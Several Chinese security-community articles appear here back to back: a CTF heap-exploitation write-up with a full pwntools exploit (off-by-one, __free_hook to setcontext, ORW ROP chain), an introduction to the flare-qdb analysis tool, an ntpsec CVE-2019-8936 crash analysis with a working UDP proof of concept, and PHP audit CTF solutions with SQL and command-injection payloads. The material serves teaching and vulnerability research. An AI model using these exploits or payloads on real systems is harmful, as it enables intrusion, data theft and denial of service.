.text:00000000000019DB 0F B6 00 movzx eax, byte ptr [rax]
.text:00000000000019DE 84 C0 test al, al
另一个函数同样方法去花。
### 程序分析及功能
关键的功能有以下几个：
1. login。用户名1000、密码为418894113通过验证；可还原异或加密（流加密）。
2. add。申请一个chunk，个数0-100，有非空检查，size在0-4096之间会将chunk地址、size写到bss段，如果data[0]=0,则会多读一个字节，造成offbyone。
3. get。输出非空chunk的context
4. del。删除非空chunk。指针置零，不存在UAF。
init_0函数：
unsigned __int64 sub_1617()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
init_setvbuf();
seccomp(); //沙箱seccomp_rule_add(v1, 0LL, 59LL, 0LL); 禁用59号中断，不能getshell
init_key();//初始化key
return v1 - __readfsqword(0x28u);
}
login函数：
__int64 __fastcall sub_1663(__int64 a1)
{
__int64 result; // rax
__int64 pass[2]; // [rsp+10h] [rbp-10h] BYREF
pass[1] = __readfsqword(0x28u);
if ( (unsigned int)lua_isnumber(a1, 0xFFFFFFFFLL) )
{
LODWORD(pass[0]) = (int)lua_tonumberx(a1, 0xFFFFFFFFLL, 0LL);
lua_settop(a1, 4294967294LL);
if ( (unsigned int)lua_isnumber(a1, 0xFFFFFFFFLL) )
{
HIDWORD(pass[0]) = (int)lua_tonumberx(a1, 0xFFFFFFFFLL, 0LL);
lua_settop(a1, 4294967294LL);
encode(&key, pass, 4LL); // 0x6b8b4567327b23c6 key调试得到，真正生成的是在init函数中根据随机数生成的，不过是固定死的srand(0);
if ( pass[0] == 0x3E8717E5E48LL ) //这里ida反编译有点问题，实际上是pass[0]==0x3e8&&pass[1]==0x717e5e48,可以看汇编看出
lua_pushinteger(a1, 1LL);
else
lua_pushinteger(a1, 0LL);
result = 1LL;
}
else
{
error(
a1,
(int)"In function: login, account argument must a number",
"In function: login, account argument must a number");
result = 0LL;
}
}
else
{
error(
a1,
(int)"In function: login, password argument must a number",
"In function: login, password argument must a number");
result = 0LL;
}
return result;
}
unsigned __int64 __fastcall encode(__int64 *key, __int64 pass, unsigned __int64 len)
{
unsigned __int8 v5; // [rsp+23h] [rbp-1Dh]
int i; // [rsp+24h] [rbp-1Ch]
__int64 v7; // [rsp+30h] [rbp-10h] BYREF
unsigned __int64 v8; // [rsp+38h] [rbp-8h]
v8 = __readfsqword(0x28u);
v7 = *key;
for ( i = 0; len > i; ++i )
{
v5 = *((_BYTE *)&v7 + (((_BYTE)i + 2) & 7)) * (*((_BYTE *)&v7 + (i & 7)) + *((_BYTE *)&v7 + (((_BYTE)i + 1) & 7)))
+ *((_BYTE *)&v7 + (((_BYTE)i + 3) & 7));
*(_BYTE *)(i + pass) ^= v5 ^ table[v5];
*((_BYTE *)&v7 + (i & 7)) = 2 * v5 + 3;
if ( (i & 0xF) == 0 )
sub_143A(key, &v7, table[(unsigned __int8)i]);//反编译问题，v7是返回值，参数是key和table[i&0xff]
}
return v8 - __readfsqword(0x28u);
}
unsigned __int64 __fastcall sub_143A(__int64 a1, __int64 a2, char a3)
{
int i; // [rsp+24h] [rbp-Ch]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
for ( i = 0; i <= 7; ++i )
{
*(_BYTE *)(i + a2) = *(_BYTE *)(i + a1) ^ table[*(unsigned __int8 *)(i + a1)];
*(_BYTE *)(i + a2) ^= (_BYTE)i + a3;
}
return v5 - __readfsqword(0x28u);
}
按照程序逻辑还原逻辑后将密文输入，就得到明文。
add函数：
__int64 __fastcall add_data(__int64 a1)
{
__int64 result; // rax
int i; // [rsp+10h] [rbp-20h]
int v3; // [rsp+14h] [rbp-1Ch]
int size; // [rsp+18h] [rbp-18h]
int v5; // [rsp+1Ch] [rbp-14h]
unsigned __int64 j; // [rsp+20h] [rbp-10h]
if ( (unsigned int)lua_isnumber(a1, 0xFFFFFFFFLL) )
{
size = (int)lua_tonumberx(a1, 0xFFFFFFFFLL, 0LL);
lua_settop(a1, 4294967294LL);
for ( i = 0; i <= 100 && qword_5780[i]; ++i )
{
if ( i == 100 )
return 0LL;
}
if ( size > 0 && size <= 4095 )
{
qword_5780[i] = malloc(size);
v3 = 0;
for ( j = 0LL; j < size; ++j )
{
v5 = read(0, (void *)(qword_5780[i] + j), 1uLL);
if ( *(_BYTE *)(qword_5780[i] + j) == 10 )
break;
if ( v5 > 0 )
v3 += v5;
}
dword_5AA0[i] = size;
encode(&key, qword_5780[i], v3); <----------加密存放--------->
lua_pushinteger(a1, i);
printf("gift: %llx\n", qword_5780[i] & 0xFFFLL); <----------输出chunk后3字节偏移-------->
if ( !*(_BYTE *)qword_5780[i] ) <-----------offbyone------------>
read(0, (void *)(qword_5780[i] + j), 1uLL);
result = 1LL;
}
else
{
result = 0LL;
}
}
else
{
error(
a1,
(int)"In function: add_data, first argument must a number",
"In function: add_data, first argument must a number");
result = 0LL;
}
return result;
}
到这里基本清楚程序存在offbyone漏洞，沙箱限制getshell，onegadgetsystem(‘/bin/sh’)不好用了，只能读取flag，可以构造orw读取flag，可通过制造堆块重叠来打__free_hook,
修改freehook为setcontext+61的思路去刷新环境，进行堆栈迁移，构造orw，读取flag。
这里setcontext+61关键的寄存器是rdx，setcontext+61片段如下：
.text:00000000000580DD mov rsp, [rdx+0A0h] <------setcontext+61------->刷新rsp到heap,指向orw ROP链
.text:00000000000580E4 mov rbx, [rdx+80h]
.text:00000000000580EB mov rbp, [rdx+78h]
.text:00000000000580EF mov r12, [rdx+48h]
.text:00000000000580F3 mov r13, [rdx+50h]
.text:00000000000580F7 mov r14, [rdx+58h]
.text:00000000000580FB mov r15, [rdx+60h]
.text:00000000000580FF test dword ptr fs:48h, 2
.text:000000000005810B jz loc_581C6
.text:00000000000581C6 loc_581C6: ; CODE XREF: setcontext+6B↑j
.text:00000000000581C6 mov rcx, [rdx+0A8h] <-----rcx = ret,入栈>
.text:00000000000581CD push rcx
.text:00000000000581CE mov rsi, [rdx+70h]
.text:00000000000581D2 mov rdi, [rdx+68h]
.text:00000000000581D6 mov rcx, [rdx+98h]
.text:00000000000581DD mov r8, [rdx+28h]
.text:00000000000581E1 mov r9, [rdx+30h]
.text:00000000000581E5 mov rdx, [rdx+88h]
.text:00000000000581E5 ; } // starts at 580A0
.text:00000000000581EC ; __unwind {
.text:00000000000581EC xor eax, eax
.text:00000000000581EE retn <--------ret ->ret ->orw ROP >
在此之前需要将heap地址赋值给rdx，然后才能将栈迁移到堆上，我们知道free的时候第一个参数rdi是当前chunk的地址，那么只要将rdi的值赋值给rdx之后再返回到setcontext+61就行了，怎么找gadget能实现如上功能呢？我们在libc的function
getkeyserv_handle里能找到如下gadget：
.text:0000000000154930 mov rdx, [rdi+8]
.text:0000000000154934 mov [rsp+0C8h+var_C8], rax
.text:0000000000154938 call qword ptr [rdx+20h]
所以在当前chunk+8的地方放当前heap地址可以实现给rdx赋值，然后在rdx+0x20处放setcontext地址就会返回到setcontext，在rdx+0xa0处放置orw
Rop的开始地址，并将rsp指针刷新到指定heap上，执行到ret的时候将rcx移出栈顶，紧接着ret后返回orw的rop开始处，此时rsp和堆栈同时指向orw
ROP开始处，开始在heap上构造orw读取flag。
构造赋值想让的步骤如下：
1. 通过largebinattack泄露libc，获得freehook、setcontext、rop链地址
2. 在制造chunk overlap之前应该将0x30大小的堆填满，释放，之后在新申请的chunk之间就不会有0x30大小的chunk相隔，才能制造overlap。原因猜测是为之后的申请腾空间，所以后面申请的就不会隔开了，具体原因待查
3. 泄露heap地址，制造chunk overlap
4. 写入freehook地址，修改freehook为gadget（set rdx && call setcontext）
5. 申请一个chunk，构造rop修改rdx，返回setcontext，刷新堆栈，之后orw
6. free触发rop链，orw读取flag
### exp
from pwn import *
from gmssl import func
context.log_level = 'debug'
context.terminal = ["/usr/bin/tmux","sp","-h"]
#io = remote('127.0.0.1', 6010)
# libc = ELF('./libc-2.31.so')
# io = process(['./test', 'real'])
io = process('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
ur64 = lambda data : u64(data.rjust(8, b'\x00'))
initkey = p64(0x6b8b4567327b23c6)
table = [
0xBE, 0xD1, 0x90, 0x88, 0x57, 0x00, 0xE9, 0x53, 0x10, 0xBD,
0x2A, 0x34, 0x51, 0x84, 0x07, 0xC4, 0x33, 0xC5, 0x3B, 0x53,
0x5F, 0xA8, 0x5D, 0x4B, 0x6D, 0x22, 0x63, 0x5D, 0x3C, 0xBD,
0x47, 0x6D, 0x22, 0x3F, 0x38, 0x4B, 0x7A, 0x4C, 0xB8, 0xCC,
0xB8, 0x37, 0x78, 0x17, 0x73, 0x23, 0x27, 0x71, 0xB1, 0xC7,
0xA6, 0xD1, 0xA0, 0x48, 0x21, 0xC4, 0x1B, 0x0A, 0xAD, 0xC9,
0xA5, 0xE6, 0x14, 0x18, 0xFC, 0x7B, 0x53, 0x59, 0x8B, 0x0D,
0x07, 0xCD, 0x07, 0xCC, 0xBC, 0xA5, 0xE0, 0x28, 0x0E, 0xF9,
0x31, 0xC8, 0xED, 0x78, 0xF4, 0x75, 0x60, 0x65, 0x52, 0xB4,
0xFB, 0xBF, 0xAC, 0x6E, 0xEA, 0x5D, 0xCA, 0x0D, 0xB5, 0x66,
0xAC, 0xBA, 0x06, 0x30, 0x95, 0xF4, 0x96, 0x42, 0x7A, 0x7F,
0x58, 0x6D, 0x83, 0x8E, 0xF6, 0x61, 0x7C, 0x0E, 0xFD, 0x09,
0x6E, 0x42, 0x6B, 0x1E, 0xB9, 0x14, 0x22, 0xF6, 0x16, 0xD2,
0xD2, 0x60, 0x29, 0x23, 0x32, 0x9E, 0xB4, 0x82, 0xEE, 0x58,
0x3A, 0x7D, 0x1F, 0x74, 0x98, 0x5D, 0x17, 0x64, 0xE4, 0x6F,
0xF5, 0xAD, 0x94, 0xAA, 0x89, 0xE3, 0xBE, 0x98, 0x91, 0x38,
0x70, 0xEC, 0x2F, 0x5E, 0x9F, 0xC9, 0xB1, 0x26, 0x3A, 0x64,
0x48, 0x13, 0xF1, 0x1A, 0xC5, 0xD5, 0xE5, 0x66, 0x11, 0x11,
0x3A, 0xAA, 0x79, 0x45, 0x42, 0xB4, 0x57, 0x9D, 0x3F, 0xBC,
0xA3, 0xAA, 0x98, 0x4E, 0x6B, 0x7A, 0x4A, 0x2F, 0x3E, 0x10,
0x7A, 0xC5, 0x33, 0x8D, 0xAC, 0x0B, 0x79, 0x33, 0x5D, 0x09,
0xFC, 0x9D, 0x9B, 0xE5, 0x18, 0xCD, 0x1C, 0x7C, 0x8B, 0x0A,
0xA8, 0x95, 0x56, 0xCC, 0x4E, 0x34, 0x31, 0x33, 0xF5, 0xC1,
0xF5, 0x03, 0x0A, 0x4A, 0xB4, 0xD1, 0x90, 0xF1, 0x8F, 0x57,
0x20, 0x05, 0x0D, 0xA0, 0xCD, 0x82, 0xB3, 0x25, 0xD8, 0xD2,
0x20, 0xF3, 0xC5, 0x96, 0x35, 0x35
]
def encode(key,passwd):
key = func.bytes_to_list(key)
passwd = func.bytes_to_list(passwd)
key_arr = []
raw_key = []
data_arr = []
for c in key:
key_arr.append(c)
raw_key.append(c)
for c in passwd:
data_arr.append(c)
key = key_arr
passwd = data_arr
for i in range(len(passwd)):
v5 = (key[(i + 2) & 7] * (key[(i & 7)] + key[(i + 1) & 7]) + key[(i + 3) & 7])&0xff
passwd[i] ^= v5 ^ table[v5]
key[(i & 7)] = (2 * v5 + 3)&0xff
if (i & 0xf) == 0:
key = sub_143A(raw_key,table[i&0xff])
out = b''
for i in passwd:
out += i.to_bytes(1, byteorder='little')
return out
def sub_143A(key,seed):
tmpkey = [0]*8
for i in range(8):
tmpkey[i] = (key[i] ^ table[key[i]])&0xff
tmpkey[i] ^= (seed + i)&0xff
return tmpkey
passwdd = p32(0x00000000)
password = encode(initkey,passwdd)
print(hex(int.from_bytes(password,byteorder='little',signed=False))) #0x18f7d121 418894113
def login():
print(111)
sla('$','login')
sla('account:','1000')
sla('password:','418894113')
def add(size,content):
sla('$','add')
sla('?',str(size))
sn(content)
def delete(idx):
sla('$','del')
sla('?',str(idx))
def get(idx):
sla('$','get')
sla('?',str(idx))
login()
# leak libc larginbin attack
add(0x500,'\n') #0
add(0x500,'\n') #1
delete(0)
add(0x500,'\n') #0
get(0)
ru('\n')
libc_base = uu64(rn(6)) - 0x1c6b0a - 0x25000
lg('libc_base')
free_hook = libc_base + libc.sym['__free_hook']
lg('free_hook')
setcontext = libc_base + libc.sym['setcontext'] + 61
lg('setcontext')
ret = libc_base + 0x25679
libc_open = libc_base + libc.sym['open']
libc_read = libc_base + libc.sym['read']
libc_write = libc_base + libc.sym['write']
pop_rdi = libc_base + 0x26b72
pop_rsi = libc_base + 0x27529
pop_rdx_r12 = libc_base + 0x000000000011c371 # pop rdx ; pop r12 ; ret
gadget = libc_base + 0x154930 # local getkeyserv_handle set rdx && call context
'''
.text:0000000000154930 mov rdx, [rdi+8]
.text:0000000000154934 mov [rsp+0C8h+var_C8], rax
.text:0000000000154938 call qword ptr [rdx+20h]
'''
# fill size=0x30 chunk
add(0x80, '\n') # 2
add(0x20, '\n') # 3
b = 3
j = 20
for i in range(b, j):
add(0x20, 'AAA\n')
for i in range(b + 10, j):
delete(i)
# make overlap chunk
add(0x98, encode(initkey, b'AAA') + b'\n') # 13
add(0x500, encode(initkey, b'AAA') + b'\n') # 14
dbg()
add(0xa0, 'AAA\n') # 15
add(0xa0, 'AAA\n') # 16
add(0xa0, 'AAA\n') # 17
delete(13)
delete(17)
delete(16)
delete(15)
# leak heap addr
add(0xa8, b'\n') # 13
get(13)
io.recvuntil('\n')
heap = u64(io.recv(6).ljust(8, b'\x00')) - 0xa + 0x50+0xb0*2 +0x10# local chunk17's heapaddr
#heap = u64(io.recv(6).ljust(8, b'\x00')) - 0xa + 0x200 # local
lg('heap')
delete(13)
p = b'\x00' + b'\x11' * 0x97
#dbg()
add(0x98, encode(initkey, p) + b'\xc1') # 13
# overlap
delete(14)
# 5c0
p = b'A' * 0x500
p += p64(0) + p64(0xb1)
p += p64(libc_base + libc.sym['__free_hook']) + p64(0)
add(0x5b0, encode(initkey, p) + b'\n') # 14
# remalloc freehook
add(0xa8, encode(initkey, b"/bin/sh\x00") + b'\n') # 13
add(0xa8, encode(initkey, p64(gadget)) + b'\n') # modify __free_hook as a gadget set rdi -> rdx
p = p64(1) + p64(heap) # set to rdx
p += p64(setcontext) *4 # call setcontext
p = p.ljust(0xa0, b'\x11')
p += p64(heap + 0xb0) # rsp
p += p64(ret) # rcx
rop = p64(pop_rdi) + p64(heap + 0xb0 + 0x98 + 0x18)
rop += p64(pop_rsi) + p64(0)
rop += p64(pop_rdx_r12) + p64(0) + p64(0)
rop += p64(libc_open)
rop += p64(pop_rdi) + p64(3)
rop += p64(pop_rsi) + p64(heap)
rop += p64(pop_rdx_r12) + p64(0x80) + p64(0)
rop += p64(libc_read)
rop += p64(pop_rdi) + p64(1)
rop += p64(libc_write)
rop += p64(pop_rdi) + p64(0)
rop += p64(libc_read)
p += rop
p += b'./flag\x00'
add(0x800, encode(initkey, p) + b'\n') # 17
print('get flag...')
# triggger free
delete(17)
#dbg()
irt()
### 总结
这次比赛算这道题目是压轴题，做出来的人数个位数，题目参杂了很多知识，包括lua语言、c和lua互调规则、沙箱禁用59号中断、ORW、花指令、简单异或流加密、offbyone、lua程序在互调过程中申请chunk的处理，想要做出来不容易，之后复盘也是复盘了好久才看明白，之前不知道freehook修改成setcontext的利用方式，这次明白了，利用setcontext+61，刷新栈到指定堆上，然后构造orw。
进一步增加难度，修改lua虚拟机opcode，使得通用反编译失败，需要逆向opcode顺序，重新编译反编译工具，这就更变态了。
## 附件
[附件](https://github.com/1094093288/IMG/tree/master/Pwn/2021anxunbei) | 社区文章 |
flare-qdb是由火眼实验室开发，旨在帮忙分析人员提高分析效率。flare-qdb是一个命令行工具，基于python开发，其中的虚拟代码执行使用了python的
vivisect库，工具可以很方便的用来查询和改变二进制样本运行时的状态变量，同时也可使用系统模拟等。
## 开发动机
在与恶意软件的对抗过程中，针对复杂的和混淆过的恶意程序，分析人员通常会使用调试的手法处理。然而在跟踪调试恶意软件的过程中，分析人员的分析过程通常是随着EIP指针的执行顺序执行而分析，而这种分析方法与恶意软件的执行流程相同，方法本身无可厚非。但由于计算机多线程的引入，以及分析人员对程序经过的状态变量并不能时刻的铭记于心，所以就不可避免的出现了这种情况：
调试的过程中有一些中间变量代表了某种状态，只有在这种状态下才会触发行为。在分析人员第一次调试的过程中，可能根本就不会注意到这种状态值，等到以后突然发现这个状态值代表的具体的含义时才恍然大悟，然后重新开始调试，这次调试就会关注到这个状态值的改变。
所以分析人员可能想很方便的查询到恶意软件的每个状态标志。类似于这样的：
SELECT eax, poi(ebp-0x14) FROM malware.exe WHERE eip = 0x401072
这就是flareqdb的使命所在，下面就讲述下这个工具在样本分析、模拟样本环境，做一些挑战类分析题目使的使用。
## 使用方法
flare-qdb 命令行语法为：
flareqdb "<cmdline>" -at <address> "<python>"
分析人员可以利用flare-qdb使分析的程序在在满足某些条件下中断，可以输出执行条件，可以显示或改变程序状态等。它内部实现了类似windbg的内置函数，用于查询与修改指令。
下面列出了一些查询示例：
* 查询传递给Beep函数的两个参数
-at kernel32.Beep –eval "dd('esp+4', 2)"
* 运行到0x401072指令时，如果eax为空的话，就结束程序的运行
-at 0x401072 -if eax==0 -eval "kill()"
* 在 运行到malwaremodule+0x102a 时，将ecx的值修改为'(ebp-0x14) _eax'的值
-at malwaremodule+0x102a -eval "r('ecx', '(ebp-0x14)_eax')
* 运行到0x401003 时，改变ebp-0x14'内存值
-at 0x401003 -eval "memset('ebp-0x14', 0x2a, 4)"
###命令行的使用
以循环处理字符串为例，下图显示使用flareqdb
工具显示出每次循环时，局部变量（放在栈空间中的）把指向的字符串的内容。这表明argv[1]传递进来的字符串被赋值给局部变量用来循环操作。
再举一个2016 FLARE-On 挑战赛的粟子，[题目地址](https://www.fireeye.com/content/dam/fireeye-www/global/en/blog/threat-research/flareon2016/challenge4-solution.pdf)
这道题目的解题思路是：在flareon2016challenge.dll中，包含一个加密过的PE，这个加密过的PE会调用一系列的kernel32!Beep函数，每次调用kernel32!Beep函数时的参数组成一个序列，这个序列最后做为ordinal
#50函数的参数，就能得到最终的Flag.
这种功能在flareqdb中如此EASY，下面一条命令就可以搞定.
flare-qdb 可以修改执行分支，显示函数指针的值，并通过反汇编函数（方便分析人员验证函数指针是否指向一个正常代码的函数）。
在下面的例子中，恶意软件与CC地址通信后取得到数据后，运行到下面的代码处。可以看到代码中功能：先验证数据的格式，然后调用了C++虚函数。可见，如果能够识别出这个虚函数，分析人员就可以更加大胆更加
**肆无忌蛋** 的推测CC地址返回的数据格式的内容。
使用flare-qdb 工具，使用-r命令改变程序流程从而绕过CC数据的格式检查，随后在运行到0x4029a4时把函数地址dump出来。基于vivisect库的强大功能，flareqdb
可以显示出函数地址的指令，从而可以用来判定函数地址是不是一个真正的函数。
命令行的含义是：在
运行到0x4016b5是，把EIP的值修改为0x4016bb（绕过CC地址返回的数据的格式的检查），然后在运行到0x4029a4时dump函数。
在虚函数的地址0x402f32处，通过IDA可以显示出为basic_streambuf::xsputn函数，这个函数功能是向文件流中插入一系列的字符。这说明恶意软件有通过CC地址提供文件名或者文件数据来执行文件的写入功能。
### 使用flareqdb的python模块
在对付一些更复杂的情况时，作为python模块存在的flare-qdb就可以大展身手了。flare-qdb
允许使用功能强大的vivisect库，如下图显示了一个提权工具的部分代码。提权工具在使用提权漏洞 CVE-2016-0040之前，调用
GetVersionExW, NetWkstaGetInfo, IsWow64Process 函数判断程序的运行环境。
显然，提权工具本打算运行在32位windows5.1+, 6.0, and
6.1系统中。通过下图中的脚本，使提权工具运行12次，通过模拟不同的GetVersionExW和NetWkstaInfo函数返回来验证提权工具的运行环境。每次执行程序时，flare-qdb都会检测程序是不是运行到尝试提权代码。将定义为局部变量的字典传递给Qdb实例用于每次执行，在脚本中打印出当前正在模拟的WINDOWS版本。GetVersionExW函数在返回之前通过OSVERSIONINFOEXW类型修改后进行返回。NetWkstaGetInfo函数只是手工进行了修改，这是因为缺少对WKSTA_INFO_100
结构的定义。
运行结果：
对于下面的例子，我们先假设分析人员遇到的情况：解密二进制--->确定解密出代码注入的地址--->解密二进制--->确定解密出代码注入的地址--->解密二进制………………
使用flare-qdb来简化上面的过程：
在对应的CALL尾部设置断点，使用vivisect的envi模块枚举所有的未命名的RWX内存区域。然后在调用detach()之间使用park()函数，目的是使代码在一个无限循环中运行。此后分析人员可以使用调试器ATTACH到进程中，进行后续人工分析。
可以看到，在使程序死循环与detach之前，脚本打印出了注入的地址，
使用IDA附加可以看到，flare-qdb在入口处写入了死循环。park()函数会将程序的原始的字节存储在jmp指令的后面。分析人员可以通过命令windbg命令r
eip=1DC129B到程序原始内容处执行。
这种暂停进程的方式可以更方便的快照恶意软件执行VM，可以远程连接到IDA作为调试器，IDA会方便的显示出代码区域。
因为相同的操作系统进程可以用于多个调试会话，所以脚本生成的内存映射在调试会话中保持不变。 这也就意味着当多次调试程序时，在IDA
Pro中创建的注释仍然是有效的（这里的有效，是指不会由于调用VirtualAlloc返回的地址的不同而代码位置改变）。
## 总结
flare-qdb提供了命令行工具，可以快速查询二进制的状态内容。 除了查询状态，flare-qdb可以用来改变程序流程和模拟不同系统场景。
对于复杂的情况，flare-qdb提供了脚本脚本。可以使用脚本处理诸如字符串解码，恶意软件解密等过程。
[github下载地址](https://github.com/fireeye/flare-qdb)
[原文链接](https://www.fireeye.com/blog/threat-research/2017/01/flare_script_series.html) | 社区文章 |
受影响版本:ntpsec 1.1.0, 1.1.1, 1.1.2
* * *
#### 编译 安装 配置
配置configure,设置成允许调试
./waf configure --enable-debug --enable-debug-gdb
编译
./waf build
编译后的文件在
./build/main/ntpd/ntpd
配置文件ntp.conf
logfile /tmp/ntp.log
restrict 127.0.0.1
keys /home/magnus/resources/keys
trustedkey 1
controlkey 1
requestkey 1
/home/magnus/resources/keys文件
1 M gurka
2 M agurk
#### 开始调试
使用gdb启动服务
gdb --args ./build/main/ntpd/ntpd -n -c ~/resources/ntp.conf
设置断点,并运行
b ctl_getitem
r
端口已正常,程序已经运行
在另一个bash窗口中执行poc
#!/usr/bin/env python
# note this PoC exploit uses keyid 1, password: gurka
import sys
import socket
buf = ("\x16\x03\x00\x03\x00\x00\x00\x00\x00\x00\x00\x04\x6c\x65\x61\x70" +
"\x00\x00\x00\x01\x5c\xb7\x3c\xdc\x9f\x5c\x1e\x6a\xc5\x9b\xdf\xf5" +
"\x56\xc8\x07\xd4")
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(buf, ('127.0.0.1', 123))
再次查看ntp服务程序,发现已断开,根据bt给出的数据,程序停在了ntp_control.c:2930的位置
更进一步的讲,程序停止在
0x555555575c6c <write_variables+482> cmp BYTE PTR [rdi],0x0
结合源码进程查看
0x555555575c6c这一步的操作是rdi指向的值与0进行比较,然后再做之后的操作
而此时rdi为0x0,妥妥的空指针异常
再用gdb查看下valuep指针
gdb-peda$ p valuep
$1 = 0x0
看来是valuep指针出了问题,往上回溯,在2911处打下断点,发现在运行完ctl_getitem函数后,valuep指针为0x0
#### 问题函数ctl_getitem的源码分析
##### 函数第一部分
由代码可知,程序先将tp设置为空,reqpt赋值给cp,然后在cp中搜索'=',我们在gdb中调试
显而易见,cp中不会有'=',也不会有',',没有满足任何一个if语句,运行完这段代码后tp仍为0x0
##### 函数第二部分
此时将指针data(即valuep指针)置零,tp为空的条件让`*data = buf`不会被执行,运行完这段代码后data(即valuep指针)为0x0
##### 最后一段与*data有关的代码
依然没有为*data赋值,之后再也没有设置data的地方了
之后就是跳出函数,运行到2930处,为valuep赋值的时候出现空指针异常,导致DoS
至此分析全部完成
#### 参考
<https://dumpco.re/bugs/ntpsec-authed-npe>
#### 源码及poc
<https://github.com/snappyJack/CVE-2019-8936/> | 社区文章 |
## 前言
大家好，我们是红日安全-代码审计小组。最近我们小组正在做一个PHP代码审计的项目，供大家学习交流，我们给这个项目起了一个名字叫 **PHP-Audit-Labs** 。我们已经发表的系列文章如下：
[[红日安全]代码审计Day1 - in_array函数缺陷](https://xz.aliyun.com/t/2451)
[[红日安全]代码审计Day2 - filter_var函数缺陷](https://xz.aliyun.com/t/2457)
[[红日安全]代码审计Day3 - 实例化任意对象漏洞](https://xz.aliyun.com/t/2459)
[[红日安全]代码审计Day4 - strpos使用不当引发漏洞](https://xz.aliyun.com/t/2467)
在每篇文章的最后，我们都留了一道CTF题目，供大家练习。下面是 **Day1-Day4** 的题解：
## Day1题解：(By 七月火)
题目如下：
实际上这道题目考察的是 **in_array** 绕过和不能使用拼接函数的 **updatexml** 注入，我们先来看一下 **in_array**
的绕过。在下图第11~13行处，程序把用户的ID值存储在 **$whitelist** 数组中，然后将用户传入的 **id**
参数先经过stop_hack函数过滤，然后再用 **in_array** 来判断用户传入的 **id** 参数是否在 **$whitelist**
数组中。这里 **in_array** 函数没有使用强匹配，所以是可以绕过的，例如： **id=1'** 是可以成功绕过 **in_array** 函数的。
然后在说说 **updatexml** 注入，这题的注入场景也是在真实环境中遇到的。当 **updatexml**
中存在特殊字符或字母时，会出现报错，报错信息为特殊字符、字母及之后的内容，也就是说如果我们想要查询的数据是数字开头，例如 **7701HongRi**
，那么查询结果只会显示 **HongRi** 。所以我们会看到很多 **updatexml** 注入的 **payload** 是长这样的 **and
updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)** ,在所要查询的数据前面凭借一个特殊符号(这里的
**0x7e** 为符号 **'~'** )。
回到题目，我们看一下 **stop_hack** 函数过滤了什么。可以发现该方法过滤了字符串拼接函数（下图第2行），所以我们就要用其他方法来绕过。
我们直接来看一下本题的 **payload** ：
http://localhost/index.php?id=4 and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))
实际上，绕过的思路还是将特殊字符或字母拼接在我们想要的数据的前面，让数据的第一个字符为字母或符号即可，这里给出我以前写的分析
[**文章**](https://xz.aliyun.com/t/2160) ，供大家参考学习。
## Day2题解：(By 七月火)
题目如下：
这道CTF题目，实际上考察的是 **filter_var** 函数的绕过与远程命令执行。在题目 **第6行** ，程序使用 **exec** 函数来执行
**curl** 命令，这就很容易让人联系到命令执行。所以我们看看用于拼接命令的 **$site_info['host']** 从何而来。在题目
**第2-4行** ，可以看到 **$site_info** 变量是从用户传来的 **url** 参数经过 **filter_var** 和
**parse_url** 两个函数过滤而来。之后，又规定当 **url** 参数的值以 **sec-redclub.com** 结尾时，才会执行
**exec** 函数。
所以让我们先来绕过 **filter_var** 的 **FILTER_VALIDATE_URL** 过滤器，这里提供几个绕过方法，如下：
http://localhost/index.php?url=http://[email protected]
http://localhost/index.php?url=http://demo.com&sec-redclub.com
http://localhost/index.php?url=http://demo.com?sec-redclub.com
http://localhost/index.php?url=http://demo.com/sec-redclub.com
http://localhost/index.php?url=demo://demo.com,sec-redclub.com
http://localhost/index.php?url=demo://demo.com:80;sec-redclub.com:80/
http://localhost/index.php?url=http://demo.com#sec-redclub.com
PS:最后一个payload的#符号，请换成对应的url编码 %23
接着要绕过 **parse_url** 函数，并且满足 **$site_info['host']** 的值以 **sec-redclub.com**
结尾，payload如下：
http://localhost/index.php?url=demo://%22;ls;%23;sec-redclub.com:80/
当我们直接用 **cat f1agi3hEre.php** 命令的时候，过不了 **filter_var**
函数检测，因为包含空格，具体payload如下：
http://localhost/index.php?url=demo://%22;cat%20f1agi3hEre.php;%23;sec-redclub.com:80/
所以我们可以换成 **cat <f1agi3hEre.php** 命令，即可成功获取flag：
关于 **filter_var** 函数绕过更多的细节，大家可以参考这篇文章：[SSRF技巧之如何绕过filter_var(
)](https://www.anquanke.com/post/id/101058)
，关于命令执行绕过技巧，大家可以参考这篇文章：[浅谈CTF中命令执行与绕过的小技巧](http://www.freebuf.com/articles/web/137923.html)
。
## Day3题解：(By 七月火)
题目如下：
这道题目考察的是实例化漏洞结合XXE漏洞。我们在上图第18行处可以看到使用了 **class_exists**
函数来判断类是否存在，如果不存在的话，就会调用程序中的 **__autoload** 函数，但是这里没有 **__autoload** 函数，而是用
[**spl_autoload_register**](http://php.net/manual/en/function.spl-autoload-register.php) 注册了一个类似 **__autoload** 作用的函数，即这里输出404信息。
我们这里直接利用PHP的内置类，先用 **GlobIterator** 类搜索 **flag文件** 名字，来看一下PHP手册对
**GlobIterator** 类的 构造函数的定义：
> public **GlobIterator::__construct** ( string `$pattern` [, int `$flags` =
> FilesystemIterator::KEY_AS_PATHNAME |
> FilesystemIterator::CURRENT_AS_FILEINFO ] )
第一个参数为要搜索的文件名，第二个参数为选择文件的哪个信息作为键名，这里我选择用
**FilesystemIterator::CURRENT_AS_FILEINFO** ，其对应的常量值为0，你可以在
[这里](http://php.net/manual/en/globiterator.construct.php) 找到这些常量的值，所以最终搜索文件的
**payload** 如下：
http://localhost/CTF/index.php?name=GlobIterator¶m=./*.php¶m2=0
我们将会发现flag的文件名为 **f1agi3hEre.php** ，接下来我们使用内置类 **SimpleXMLElement** 读取
